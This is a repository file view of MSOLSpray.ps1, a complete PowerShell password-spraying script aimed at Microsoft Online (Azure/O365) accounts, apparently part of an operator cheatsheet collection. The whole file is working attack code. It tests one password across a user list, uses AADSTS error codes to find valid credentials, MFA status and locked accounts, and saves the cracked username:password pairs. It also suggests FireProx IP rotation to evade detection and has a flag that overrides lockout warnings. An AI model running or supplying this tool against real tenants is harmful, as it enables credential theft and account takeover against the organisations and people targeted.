daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

MSOLSpray.ps1 (8727B)


      1 function Invoke-MSOLSpray{
      2 
      3 
      4 <#
      5     .SYNOPSIS
      6         This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.       
      7         MSOLSpray Function: Invoke-MSOLSpray
      8         Author: Beau Bullock (@dafthack)
      9         License: BSD 3-Clause
     10         Required Dependencies: None
     11         Optional Dependencies: None
     12 
     13     .DESCRIPTION
     14         
     15         This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.        
     16     
     17     .PARAMETER UserList
     18         
     19         UserList file filled with usernames one-per-line in the format "user@domain.com"
     20     
     21     .PARAMETER Password
     22         
     23         A single password that will be used to perform the password spray.
     24     
     25     .PARAMETER OutFile
     26         
     27         A file to output valid results to.
     28     
     29     .PARAMETER Force
     30         
     31         Forces the spray to continue and not stop when multiple account lockouts are detected.
     32     
     33     .PARAMETER URL
     34         
     35         The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
     36     
     37     .EXAMPLE
     38         
     39         C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
     40         Description
     41         -----------
     42         This command will use the provided userlist and attempt to authenticate to each account with a password of Winter2020.
     43     
     44     .EXAMPLE
     45         
     46         C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password P@ssword -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -OutFile valid-users.txt
     47         Description
     48         -----------
     49         This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox.
     50 #>
     51   Param(
     52 
     53 
     54     [Parameter(Position = 0, Mandatory = $False)]
     55     [string]
     56     $OutFile = "",
     57 
     58     [Parameter(Position = 1, Mandatory = $False)]
     59     [string]
     60     $UserList = "",
     61 
     62     [Parameter(Position = 2, Mandatory = $False)]
     63     [string]
     64     $Password = "",
     65 
     66     # Change the URL if you are using something like FireProx
     67     [Parameter(Position = 3, Mandatory = $False)]
     68     [string]
     69     $URL = "https://login.microsoft.com",
     70 
     71     [Parameter(Position = 4, Mandatory = $False)]
     72     [switch]
     73     $Force
     74   )
     75     
     76     $ErrorActionPreference= 'silentlycontinue'
     77     $Usernames = Get-Content $UserList
     78     $count = $Usernames.count
     79     $curr_user = 0
     80     $lockout_count = 0
     81     $lockoutquestion = 0
     82     $fullresults = @()
     83 
     84     Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.")
     85     Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online."
     86     $currenttime = Get-Date
     87     Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime"
     88 
     89     ForEach ($username in $usernames){
     90         
     91         # Adding an extra comment for reasons...
     92         # User counter
     93         $curr_user += 1
     94         Write-Host -nonewline "$curr_user of $count users tested`r"
     95 
     96         # Setting up the web request
     97         $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
     98         $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' =  'application/x-www-form-urlencoded'}
     99         $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr 
    100 
    101         # If we get a 200 response code it's a valid cred
    102         If ($webrequest.StatusCode -eq "200"){
    103         Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password"
    104             $webrequest = ""
    105             $fullresults += "$username : $password"
    106         }
    107         else{
    108                 # Check the response for indication of MFA, tenant, valid user, etc...
    109                 # Here is a referense list of all the Azure AD Authentication an Authorization Error Codes:
    110                 # https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes
    111 
    112                 # Standard invalid password
    113             If($RespErr -match "AADSTS50126")
    114                 {
    115                 continue
    116                 }
    117 
    118                 # Invalid Tenant Response
    119             ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059"))
    120                 {
    121                 Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services."
    122                 }
    123 
    124                 # Invalid Username
    125             ElseIf($RespErr -match "AADSTS50034")
    126                 {
    127                 Write-Output "[*] WARNING! The user $username doesn't exist."
    128                 }
    129 
    130                 # Microsoft MFA response
    131             ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076"))
    132                 {
    133                 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
    134                 $fullresults += "$username : $password"
    135                 }
    136     
    137                 # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
    138             ElseIf($RespErr -match "AADSTS50158")
    139                 {
    140                 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
    141                 $fullresults += "$username : $password"
    142                 }
    143 
    144                 # Locked out account or Smart Lockout in place
    145             ElseIf($RespErr -match "AADSTS50053")
    146                 {
    147                 Write-Output "[*] WARNING! The account $username appears to be locked."
    148                 $lockout_count++
    149                 }
    150 
    151                 # Disabled account
    152             ElseIf($RespErr -match "AADSTS50057")
    153                 {
    154                 Write-Output "[*] WARNING! The account $username appears to be disabled."
    155                 }
    156             
    157                 # User password is expired
    158             ElseIf($RespErr -match "AADSTS50055")
    159                 {
    160                 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired."
    161                 $fullresults += "$username : $password"
    162                 }
    163 
    164                 # Unknown errors
    165             Else
    166                 {
    167                 Write-Output "[*] Got an error we haven't seen yet for user $username"
    168                 $RespErr
    169                 }
    170         }
    171     
    172         # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying
    173         if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0)
    174         {
    175             $title = "WARNING! Multiple Account Lockouts Detected!"
    176             $message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?"
    177 
    178             $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
    179                 "Continues the password spray."
    180 
    181             $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
    182                 "Cancels the password spray."
    183 
    184             $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
    185 
    186             $result = $host.ui.PromptForChoice($title, $message, $options, 0)
    187             $lockoutquestion++
    188             if ($result -ne 0)
    189             {
    190                 Write-Host "[*] Cancelling the password spray."
    191                 Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled."
    192                 break
    193             }
    194         }
    195         
    196     }
    197 
    198     # Output to file
    199     if ($OutFile -ne "")
    200     {
    201         If ($fullresults)
    202         {
    203         $fullresults | Out-File -Encoding ascii $OutFile
    204         Write-Output "Results have been written to $OutFile."
    205         }
    206     }
    207 }